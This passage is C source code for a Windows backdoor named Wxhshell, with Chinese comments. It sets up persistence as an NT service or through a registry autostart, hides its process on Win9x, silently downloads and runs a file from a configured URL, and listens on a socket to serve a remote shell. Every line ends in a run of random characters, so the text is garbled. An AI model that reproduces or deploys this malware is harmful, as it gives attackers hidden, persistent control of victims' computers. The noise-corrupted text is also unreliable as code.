ULONG UniqueProcessId; HgG-r&r!2
ULONG InheritedFromUniqueProcessId; B`Q.<Lqu
} PROCESS_BASIC_INFORMATION; I\R5Cb<p
]2n&DJu
PROCNTQSIP NtQueryInformationProcess; ld1t1'I'
7^k`:Z
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |(Zv
g}c_
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4 !lbwqo
qB3{65
HANDLE hProcess; m{={a5GD
PROCESS_BASIC_INFORMATION pbi; W5-p0,?[6
9GS<d.#Nvc
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "Kk3#
if(NULL == hInst ) return 0; -B2>~#L
}~lF Rf
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); qs6yEuh#
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); oS)0,p
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J'.:l} g!1
E0=-6j
if (!NtQueryInformationProcess) return 0; _<5 o1
p#.B Fy
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )!MeSWGq
if(!hProcess) return 0; \()\pp~4
daBu<0\
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;
'{kNXCnZ
zdn e2
CloseHandle(hProcess); /s6':~4
yhEU*\:
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ig1cf9 :
if(hProcess==NULL) return 0; xZFha=#
g'Ft5fQ"o/
HMODULE hMod; /-4i"|
char procName[255]; O:q}<ljp
unsigned long cbNeeded; sCaw"{5qc
Z!6\KV]
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {a_=4a
iAf, :g
CloseHandle(hProcess); IGql^,b
T~ Jl{(s9)
if(strstr(procName,"services")) return 1; // 以服务启动 6fPuTQ}fY>
m&,d8Gss^
return 0; // 注册表启动 xpFu$2T6P.
} %kNkDI
4cJ^L <
// 主模块 PK3)M'[
int StartWxhshell(LPSTR lpCmdLine) |IH-a"
{ m*P~X*St
SOCKET wsl; -J!F((jt
BOOL val=TRUE; _@sqCf%|
int port=0; (W3R3>;
struct sockaddr_in door; ` ]WU=Ss
{_3ZKD(\
if(wscfg.ws_autoins) Install();
ceVej'
l/LRr.x
port=atoi(lpCmdLine); ]9zc[_
!
]ZO^@sH
if(port<=0) port=wscfg.ws_port; ErB6fl
-K}@Gp
WSADATA data; ReKnvF~
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ('
`) m
+ qpD>5#
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; E_WiQ?p
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @Z@yI2#e
door.sin_family = AF_INET; 4x8mJ4[H^
door.sin_addr.s_addr = inet_addr("127.0.0.1"); sXoBw.^Ir_
door.sin_port = htons(port); E'[pNU*"x-
~<v`&Gm?"
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6xnJyEQUM
closesocket(wsl); M/d!&Bk
return 1; R(pvUm&L
} +t.T+`
EG
0%FC;v0
if(listen(wsl,2) == INVALID_SOCKET) { 8Mws?]\/q
closesocket(wsl); }qV4]*+{
return 1; ~ D3'-,n[
} h]@Xucc
Wxhshell(wsl); J_rCo4}
WSACleanup(); U0jq.]P
9Od
Kh\F (
return 0; E6)FYz7x
Ta/G
} ,Hys9I
\,p)
// 以NT服务方式启动 u#J5M
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) '|Q=J)
{ J|6aa
DWORD status = 0; ynP^|Ou
DWORD specificError = 0xfffffff; J=4S\0Z*
9=3V}]^M
serviceStatus.dwServiceType = SERVICE_WIN32; I|WBT
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ;C{2*0"H|
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; i7 p#%2
serviceStatus.dwWin32ExitCode = 0; OY"{XnPZ
serviceStatus.dwServiceSpecificExitCode = 0; 3%<ia$
serviceStatus.dwCheckPoint = 0; !\|&E>Gy
serviceStatus.dwWaitHint = 0; [FyE{NfiJ%
D"A`b{z
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); l[\[)X3$
if (hServiceStatusHandle==0) return; |_O; U=2
lX5(KUN
status = GetLastError(); t~U:{g~
if (status!=NO_ERROR) _V8pDcY
{ g-*@I`k[
serviceStatus.dwCurrentState = SERVICE_STOPPED; I[[rVts
serviceStatus.dwCheckPoint = 0; aYPzN<"%
serviceStatus.dwWaitHint = 0; ]4z?sk@
serviceStatus.dwWin32ExitCode = status; 5[/*UtB
serviceStatus.dwServiceSpecificExitCode = specificError; R_@yj]%H=
SetServiceStatus(hServiceStatusHandle, &serviceStatus); NaVZ)
return; ]^Q`CiKd
} /1MO]u\
?'h@!F%R'
serviceStatus.dwCurrentState = SERVICE_RUNNING; _Dk;U*2
serviceStatus.dwCheckPoint = 0;
ND21;
serviceStatus.dwWaitHint = 0; |(S=G'AtU
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Keof{>V=CA
} KtV_DjH:
WgxlQXi-B
// 处理NT服务事件,比如:启动、停止 pOS.`rSK
VOID WINAPI NTServiceHandler(DWORD fdwControl) 26\1tOj Np
{ YtIJJH
switch(fdwControl) a_x|PbD
{ :_H$*Q=1
case SERVICE_CONTROL_STOP: )cOm\^,
serviceStatus.dwWin32ExitCode = 0; %W`pTvF
serviceStatus.dwCurrentState = SERVICE_STOPPED; L"('gc!W
serviceStatus.dwCheckPoint = 0; g<.VW0
serviceStatus.dwWaitHint = 0; o'D6lkf0
{ zo]7#
SetServiceStatus(hServiceStatusHandle, &serviceStatus); X8*q[@$
} <'B`b
return; '-ACNgNn
case SERVICE_CONTROL_PAUSE: \=83#*KK
serviceStatus.dwCurrentState = SERVICE_PAUSED; teM&[U
break; W:0@m^r
case SERVICE_CONTROL_CONTINUE: K<|eZhp~
serviceStatus.dwCurrentState = SERVICE_RUNNING; nTYqZlI,
break; e@X~F6nP
case SERVICE_CONTROL_INTERROGATE: ]vu'+F$
break; e#W@ep|n
}; Vwv O@G7A
SetServiceStatus(hServiceStatusHandle, &serviceStatus); m'429E]\S
} ]`UJwq
!^\|r<2M
// 标准应用程序主函数 J.O;c5wL
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,Xb :f/lB
{ jP}N^
/nC"'d(#
// 获取操作系统版本 :Eob"WH
OsIsNt=GetOsVer(); 6NZf!7,B
GetModuleFileName(NULL,ExeFile,MAX_PATH); <vbk@d
flmcY7ZV
// 从命令行安装 o.j;dsZ
if(strpbrk(lpCmdLine,"iI")) Install(); } 10Dvt>+
Kk??}
// 下载执行文件 l sUQ7%f
if(wscfg.ws_downexe) { !0zM@p
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -98bX]8
WinExec(wscfg.ws_filenam,SW_HIDE); 5Pv>`E2^
} 6o6m"6
cLB"<mG
if(!OsIsNt) { T`vj6F
// 如果时win9x,隐藏进程并且设置为注册表启动 ]n!pn#Q
HideProc(); K,^b=_]
StartWxhshell(lpCmdLine); $Y ]*v)}X
}
R4qS,2E
else i44KTC"sB
if(StartFromService()) |NM.-@1
// 以服务方式启动 *Jp>)>
StartServiceCtrlDispatcher(DispatchTable); )_f
"[m%
else gE8>5_R|
// 普通方式启动 ."=Bx2
StartWxhshell(lpCmdLine); J)o~FC]b*
=I*"vwc?
return 0; zzPgLE55
}